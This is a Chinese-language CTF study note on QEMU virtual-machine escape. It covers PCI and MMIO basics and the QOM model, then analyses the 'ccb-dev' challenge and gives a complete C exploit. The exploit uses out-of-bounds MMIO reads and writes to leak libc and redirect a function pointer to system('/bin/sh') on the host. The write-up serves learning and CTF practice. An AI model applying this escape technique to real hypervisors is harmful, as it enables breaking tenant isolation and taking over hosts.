qemu逃逸学习

CTF中的qemu逃逸便是通过在qemu源码中注册一个新的pci,来模拟真实环境下的某一个pci外设,例如键盘控制器之类?通过构造特定的Guest操作触发漏洞(一般是越界读写),最终在Host上获得shell读取flag,主要还是侧重于代码的逆向和漏洞的利用技巧。

实战中的或许是类似于针对云服务商的?目标是突破租户隔离,来获得宿主机的敏感信息吧,还是非常有意思滴!!!

原文:https://xz.aliyun.com/news/6166

只做学习记录和批注

好文:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/

qemu概述

运行的每个qemu虚拟机都相应的是一个qemu进程,从本质上看,虚拟出的每个虚拟机对应 host 上的一个 qemu 进程,而虚拟机的执行线程(如 CPU 线程、I/O 线程等)对应 qemu 进程的一个线程。

image-20250501211959652

其中**客户机系统 (Guest)**:运行在 QEMU 之上,是虚拟机中安装的操作系统。

客户机系统认为自己直接运行在硬件上,但实际上是通过 QEMU 与底层硬件交互

qemu虚拟机内存所对应的真实内存结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++

qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。

qemu中的地址

从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址

用户的物理内存实际上是qemu程序mmap出来的

-m 1G也就是mmap一块1G的内存

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline

pci设备概述

PCI设备都有一个配置空间(PCI Configuration Space),其记录了关于此设备的详细信息。大小为256字节,其中头部64字节是PCI标准规定的,当然并非所有的项都必须填充,位置是固定了,没有用到可以填充0。前16个字节的格式是一定的,包含头部的类型、设备的总类、设备的性质以及制造商等,格式如下:

image-20250501230817541

比较关键的是其6个BAR(Base Address Registers),BAR记录了设备所需要的地址空间的类型,基址以及其他属性。BAR的格式如下:

image-20250501230916132

当BAR最后一位为0表示这是映射的I/O内存为1是表示这是I/O端口,当是I/O内存的时候1-2位表示内存的类型,bit 2为1表示采用64位地址,为0表示采用32位地址。bit1为1表示区间大小超过1M,为0表示不超过1M。bit3表示是否支持可预取。

当最后一位为1时表示映射的I/O端口。I/O端口一般不支持预取,所以这里是29位的地址。

通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O

通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。

MMIO中,内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种I/O方法,它使用相同的地址总线来处理内存和I/O设备,I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时,它可能是物理内存,也可以是某个I/O设备的内存,用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线,一旦CPU访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备,CPU必须预留给I/O一个地址区域,该地址区域不能给物理内存使用。

PMIO中,内存和I/O设备有各自的地址空间。 端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。在Intel的微处理器中,使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节(例如:outb, outw, outl)到IO设备上。I/O设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。由于I/O地址空间与内存地址空间是隔离的,所以有时将PMIO称为被隔离的IO(Isolated I/O)。

pci设备inQemu

pci设备的寻址是由总线、设备以及功能构成。如下所示:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy:z的格式为总线:设备:功能的格式。

其中[0000]表示pci的域, PCI域最多可以承载256条总线。 每条总线最多可以有32个设备,每个设备最多可以有8个功能

总之每个 PCI 设备有一个总线号, 一个设备号, 一个功能号标识。PCI 规范允许单个系统占用多达 256 个总线, 但是因为 256 个总线对许多大系统是不够的, Linux 现在支持 PCI 域。每个 PCI 域可以占用多达 256 个总线. 每个总线占用 32 个设备, 每个设备可以是 一个多功能卡(例如一个声音设备, 带有一个附加的 CD-ROM 驱动)有最多 8 个功能

PCI 设备通过VendorIDsDeviceIDs、以及Class Codes字段区分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class: 00ff
Vendor: 1234
Device: 11e9
SVendor: 1af4
SDevice: 1100
PhySlot: 3
Rev: 10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class: Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor: Red Hat, Inc
SDevice: Device 1100
PhySlot: 3
Rev: 10

也可通过查看其config文件来查看设备的配置空间,数据都可以匹配上,如前两个字节1234vendor id

1
2
3
4
5
ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config
0000000 1234 11e9 0103 0000 0010 00ff 0000 0000
0000010 1000 febf c051 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000

查看设备内存空间:

1
2
3
4
5
6
7
8
9
10
11
ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

可以看到该设备有两个空间:BAR0MMIO空间,地址为febf1000,大小为256BAR1PMIO空间,端口地址为0xc050,大小为8

可以通过查看resource文件来查看其相应的内存空间:

1
2
3
4
5
6
ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
...
-r--r--r-- 1 root root 4096 Aug 1 03:40 resource
-rw------- 1 root root 256 Jul 31 13:18 resource0
-rw------- 1 root root 8 Aug 1 04:01 resource1
...

resource文件包含其它相应空间的数据,如resource0MMIO空间)以及resource1PMIO空间):

1
2
3
4
5
6
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

qemu中访问I/O空间

存在mmiopmio,那么在系统中该如何访问这两个空间呢?访问mmiopmio都可以采用在内核态访问在用户空间编程进行访问

访问mmio

编译内核模块,在内核态访问mmio空间,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <asm/io.h>      // 提供 I/O 内存访问函数(如 readb/writeb)
#include <linux/ioport.h> // 提供资源管理相关函数(如 request_mem_region)

long addr = ioremap(ioaddr, iomemsize); //将物理地址 ioaddr 映射到内核的虚拟地址空间,返回虚拟地址 addr。

readb(addr); // 读取 1 字节(8 位)
readw(addr); // 读取 2 字节(16 位)
readl(addr); // 读取 4 字节(32 位)
readq(addr); // 读取 8 字节(64 位,仅在 64 位系统支持)

writeb(val, addr); // 写入 1 字节
writew(val, addr); // 写入 2 字节
writel(val, addr); // 写入 4 字节
writeq(val, addr); // 写入 8 字节
iounmap(addr);

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <linux/io.h>
#include <linux/ioport.h>

void __iomem *addr;
unsigned int val;

// 1. 申请资源
if (!request_mem_region(ioaddr, iomemsize, "my_device")) {
return -EBUSY; // 资源已被占用
}

// 2. 映射物理地址
addr = ioremap(ioaddr, iomemsize);
if (!addr) {
release_mem_region(ioaddr, iomemsize);
return -ENOMEM;
}

// 3. 读写操作
val = readl(addr); // 读取 32 位
writel(val + 1, addr); // 写入 32 位

// 4. 清理
iounmap(addr);
release_mem_region(ioaddr, iomemsize);

还有一种方式是在用户态访问mmio空间,通过映射resource0文件实现内存的访问,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

mmio_read(0x128);
mmio_write(0x128, 1337);

}

访问pmio

编译内核模块,在内核空间访问pmio空间,示例代码如下:

1
2
3
4
5
6
7
8
9
10
#include <asm/io.h> 
#include <linux/ioport.h>

inb(port); //读取一字节
inw(port); //读取两字节
inl(port); //读取四字节

outb(val,port); //写一字节
outw(val,port); //写两字节
outl(val,port); //写四字节

用户空间访问则需要先调用iopl函数申请访问端口,示例代码如下:

1
2
3
4
5
6
7
8
9
10
#include <sys/io.h >

iopl(3);
inb(port);
inw(port);
inl(port);

outb(val,port);
outw(val,port);
outl(val,port);

有一点要注意的是在访问pmio的时候,是直接通过I/O port写入和读取资源的,因此要事先声明port归属,不然有可能会导致冲突,pmio常见用于x86平台上,适用于传统的设备,如:串口,键盘等等

特性 MMIO(ioremap + readl/writel) PMIO(inb/outb)
访问方式 内存映射(直接访问物理内存) I/O 端口(x86 in/out 指令)
适用架构 所有架构(x86/ARM/RISC-V) 主要是 x86
地址范围 32/64 位物理地址 16 位端口地址(0x0000–0xFFFF)
性能 通常更快(内存访问优化) 较慢(需要 CPU I/O 指令)
典型设备 PCIe 设备、GPU、网卡 传统 ISA 设备(串口、PS/2)

QOM编程模型

QEMU提供了一套面向对象编程的模型——QOMQEMU Object Module),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。

由于qemu模拟设备以及CPU等,既有相应的共性又有自己的特性,因此使用面向对象来实现相应的程序是非常高效的,可以像理解C++或其它面向对象语言来理解QOM

有几个比较关键的结构体,TypeInfoTypeImplObjectClass以及Object。其中ObjectClassObjectTypeInfo定义在include/qom/object.h中,TypeImpl定义在qom/object.c中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct TypeInfo {
/* 类型标识 */
const char *name; // 类型名称(唯一标识符,如 "MyDevice")
const char *parent; // 父类型名称(继承关系,NULL表示无父类)

/* 实例(对象)相关 */
size_t instance_size; // 实例的内存大小(sizeof(MyObject))
void (*instance_init)(Object *obj); // 实例构造函数(初始化成员变量)
void (*instance_post_init)(Object *obj); // 实例后置初始化(依赖注入等)
void (*instance_finalize)(Object *obj); // 实例析构函数(资源释放)

/* 类(元类型)相关 */
bool abstract; // 是否为抽象类型(不可直接实例化)
size_t class_size; // 类结构体大小(sizeof(MyClass))
void (*class_init)(ObjectClass *klass, void *data); // 类构造函数(初始化静态方法)
void (*class_base_init)(ObjectClass *klass, void *data); // 父类初始化回调
void (*class_finalize)(ObjectClass *klass, void *data); // 类析构函数(清理静态资源)
void *class_data; // 类级别的自定义数据(可选)

/* 接口支持(多继承) */
InterfaceInfo *interfaces; // 实现的接口列表(如 [Serializable, Drawable])
};

TypeImpl的属性与TypeInfo的属性对应,实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。

如下面定义的pci_test_dev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const TypeInfo pci_testdev_info = {
.name = TYPE_PCI_TEST_DEV, // 类型名称(唯一标识)
.parent = TYPE_PCI_DEVICE, // 父类型(继承自PCI设备)
.instance_size = sizeof(PCITestDevState), // 实例内存大小
.class_init = pci_testdev_class_init, // 类初始化函数
};

TypeImpl *type_register_static(const TypeInfo *info) {
return type_register(info); // 直接调用动态注册函数
}

TypeImpl *type_register(const TypeInfo *info) {
assert(info->parent); // 必须指定父类型(强制单继承)
return type_register_internal(info);
}

static TypeImpl *type_register_internal(const TypeInfo *info) {
TypeImpl *ti;
ti = type_new(info); // 创建类型对象(TypeImpl)
type_table_add(ti); // 将类型添加到全局类型表
return ti;
}

当所有qemu总线、设备等的type_register_static执行完成后,即它们的TypeImpl实例创建成功后,qemu就会在type_initialize函数中去实例化其对应的ObjectClasses

每个type都有一个相应的ObjectClass所对应,其中ObjectClass是所有类的基类

1
2
3
4
5
6
7
8
9
10
11
12
struct ObjectClass
{
/*< private >*/ // 表示以下字段为内部实现细节,外部不应直接访问
Type type; // 指向该类的TypeImpl对象,包含类型名称、父类、实例大小等元信息
GSList *interfaces; // 该类实现的所有接口(GSList链表结构,支持多接口继承)

const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE]; // 缓存对象类型转换结果(如object_dynamic_cast)
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE]; // 缓存类类型转换结果(如class_dynamic_cast)

ObjectUnparent *unparent; // 当对象从父对象中移除时调用的回调函数
GHashTable *properties; // 类的静态属性表(存储通过class_property_add()添加的属性定义)
};

type是连接ObjectClassTypeImpl对象的桥梁

用户可以定义自己的类,继承相应类即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* include/qom/object.h */
typedef struct TypeImpl *Type;
typedef struct ObjectClass ObjectClass;

struct ObjectClass
{
/*< private >*/
Type type; /* points to the current Type's instance */
...

/* include/hw/qdev-core.h */
typedef struct DeviceClass {
/*< private >*/
ObjectClass parent_class;
/*< public >*/
...

/* include/hw/pci/pci.h */
typedef struct PCIDeviceClass {
DeviceClass parent_class;
...

可以看到类的定义中父类都在第一个字段,使得可以父类与子类直接实现转换。一个类初始化时会先初始化它的父类,父类初始化完成后,会将相应的字段拷贝至子类同时将子类其余字段赋值为0,再进一步赋值。同时也会继承父类相应的虚函数指针,当所有的父类都初始化结束后TypeInfo::class_init就会调用以实现虚函数的初始化,如下例的pci_testdev_class_init所示:

1
2
3
4
5
6
7
8
9
10
static void pci_testdev_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
k->init = pci_testdev_init;
k->exit = pci_testdev_uninit;
...
dc->desc = "PCI Test Device";
...
}

例题

2025长城杯决赛 ccb-dev

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
root@97b480f126b2:/home/ctf# cat run.sh \n
#!/bin/sh
./qemu-system-x86_64 \
-m 512M \
-kernel ./vmlinuz \
-initrd ./core.cpio \
-L pc-bios \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-device ccb-dev-pci \
-nographic

看到qemu的启动脚本,有个-device ccb-dev-pci:加载一个 自定义 PCI 设备

可以猜测漏洞就在这个pci上,看pci的详细信息

1
2
3
4
5
6
7
8
/ # lspci -v
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

可以看到有两个非标准的厂商和设备id,1234:1337更像是ccb_dev的pci

1
2
3
4
5
6
7
/sys/devices/pci0000:00/0000:00:04.0 # hexdump config
0000000 1234 1337 0103 0000 0081 00ff 0000 0000
0000010 1000 febf 0000 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000
*
0000100

这里有个BAR0是MMIO

逆向qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __cdecl ccb_dev_class_init(ObjectClass *oc, void *data)
{
DeviceClass *dc; // [rsp+10h] [rbp-10h]
PCIDeviceClass *pci; // [rsp+18h] [rbp-8h]

dc = (DeviceClass *)object_class_dynamic_cast_assert(
oc,
"device",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
146,
"ccb_dev_class_init");
pci = (PCIDeviceClass *)object_class_dynamic_cast_assert(
oc,
"pci-device",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
147,
"ccb_dev_class_init");
pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize;
pci->vendor_id = 4660;
pci->device_id = 4919;
pci->revision = -127;
pci->class_id = 255;
dc->desc = "arttnba3 test PCI device";
set_bit_68(7LL, dc->categories);
}

大致的作用:

  • 确保当前设备类继承自 QEMU 的通用设备基类 和 确保当前设备类是一个 PCI 设备。
  • realize 是 QEMU 设备初始化的关键回调,在设备实例化时被调用
  • 配置 PCI 设备的厂商 ID、设备 ID、版本号和类代码。
  • 然后 设置设备的描述字符串。
  • 最后设置 类别掩码 对 设备进行分类,掩码为7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __cdecl ccb_dev_realize(PCIDevice *pci_dev, Error **errp)
{
CCBPCIDevState *ds_0; // [rsp+18h] [rbp-8h]

ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
&pci_dev->qdev.parent_obj,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
123,
"ccb_dev_realize");
memory_region_init_io(
&ds_0->mmio,
&ds_0->parent_obj.qdev.parent_obj,
&ccb_dev_mmio_ops,
pci_dev,
"ccb_dev-mmio",
0x800uLL);
pci_register_bar(pci_dev, 0, 0, &ds_0->mmio);
memset(ds_0->buffer, 0, sizeof(ds_0->buffer));
ds_0->index = 0;
ds_0->log_arg = 0LL;
ds_0->status = 0;
ds_0->log_fd = 2LL;
memset(ds_0->log_format, 0, sizeof(ds_0->log_format));
ds_0->log_handler = (LogHandlerFunc)&dprintf;
}
  1. MMIO 初始化
    • 设备通过 MMIOGuest 交互,大小为 2KB,操作由 ccb_dev_mmio_ops 实现。
    • 需确保 ccb_dev_mmio_ops 已定义(如 read/write 回调)。
  2. PCI BAR 注册
    • Guest 访问 PCI BAR 0 时,会映射到设备的 MMIO 区域。
  3. 设备状态初始化
    • 缓冲区、日志、状态寄存器等均被清零或设为默认值。
  4. 日志机制
    • 默认日志输出到 stderr,可通过修改 log_fdlog_handler 重定向。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
uint32_t __cdecl ccb_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint32_t val; // [rsp+20h] [rbp-10h]
CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
(Object *)opaque,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
55,
"ccb_dev_mmio_read");
val = 0;
switch ( addr )
{
case 0uLL:
val = ds_0->index;
break;
case 4uLL:
val = ds_0->buffer[ds_0->index];
break;
case 8uLL:
val = 0xDEADBEEF;
break;
case 0x10uLL:
val = ds_0->log_arg;
break;
case 0x18uLL:
val = ds_0->status;
break;
default:
return val;
}
return val;
}

会发现如果index域可控,那么就有个越界读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __cdecl ccb_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t vala; // [rsp+8h] [rbp-28h]
CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

vala = val;
ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
(Object *)opaque,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
85,
"ccb_dev_mmio_write");
switch ( addr )
{
case 0uLL:
ds_0->index = vala;
break;
case 4uLL:
ds_0->buffer[ds_0->index] = vala;
break;
case 0xCuLL:
if ( ds_0->log_handler )
{
ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
ds_0->status = 1074749;
}
else
{
ds_0->status = 16388413;
}
break;
case 0x10uLL:
ds_0->log_arg = vala;
break;
case 0x14uLL:
ds_0->log_fd = vala;
break;
default:
return;
}
}

发现index可控,且有个越界写,在0xC选项中有个函数执行

那么思路就是:

覆盖log_handler为system,然后log_fd为/bin/sh的地址,就能实现qemu的逃逸,妙!!

而要与MMIO进行交互 就得通过resource0

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

#define libc_system_offset 0x50d70
#define libc_dprintf_offset 0x60a10

char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_mem;

unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_mem == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_mem;
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char const *argv[])
{
getMMIOBase();
if (iopl(3) !=0 )
{
printf("I/O permission is not enough");
exit(0);
}

printf("mmio_mem Resource0Base: %p\n", mmio_mem);

mmio_write(0,0x12);//set index->12=fprintf_high
uint32_t index = mmio_read(0);
printf("[*] index: %#x.\n", index);

uint64_t libc_fprintf = mmio_read(0x4);//set index->11=fprintf
printf("[*] libc_fprintf: 0x%llx.\n", libc_fprintf);
libc_fprintf=libc_fprintf<<32;
printf("[*] libc_fprintf: 0x%llx.\n", libc_fprintf);

mmio_write(0,0x11);//set index->11=fprintf
index = mmio_read(0);
printf("[*] index: %#x.\n", index);

libc_fprintf += mmio_read(0x4);
printf("[*] libc_fprintf: 0x%llx.\n", libc_fprintf);//dprintf
// getchar();
uint64_t libcbase=libc_fprintf-libc_dprintf_offset;
uint64_t system=libcbase+libc_system_offset;
uint64_t bin_sh=libcbase+0x1d8678;
printf("[*] libcbase: 0x%llx.\n", libcbase);
printf("[*] bin_sh: 0x%llx.\n", bin_sh);
printf("[*] system: 0x%llx.\n", system);

mmio_write(0,0x13);
mmio_write(0x4,(bin_sh&0xffffffff));
mmio_write(0,0x14);
mmio_write(0x4,((bin_sh>>32)&0xffff));

mmio_write(0,0x11);//set index->11=fprintf
mmio_write(0x4,(system&0xffffffff));


mmio_write(0xc,0xbeef);


return 0;
}

这里的wp是由youlin师傅写的,只做学习作用

调试

先用gdb加载这个qemu的符号表,然后再通过attach pid来附加上这个qemu进程

偏移寻找

本地qemu的偏移是通过本地的libc给的,会跟远程的不一样,因此要先在本地打通之后,再修改成远程给的docker的libc的偏移,最后就能成功getshell

问题

1
$ sh:turning off NDELAY mode

本地获得shell之后可能会遇到这种情况,youlin师傅说这可能是管道的冲突,但是远程是可以打通的

在 Guest 用户态 C 代码中对 mmio_mem 指针的操作,最终会触发 QEMU Host 进程中相应的设备模拟代码的执行

当你通过这个指针进行读写操作时:

  1. Guest OS 将虚拟地址转换为物理地址
  2. QEMU 拦截对这些特定物理地址的访问。
  3. QEMU 调用其内部对应的设备模型 MMIO 处理函数(如 ccb_dev_mmio_write / read 或针对该设备的其他特定函数),并将偏移量和(对于写入)数据传递给这些函数

pipeline

分析

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
timeout 300 ./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline

删除timeout,可以发现漏洞应该在pipeline上·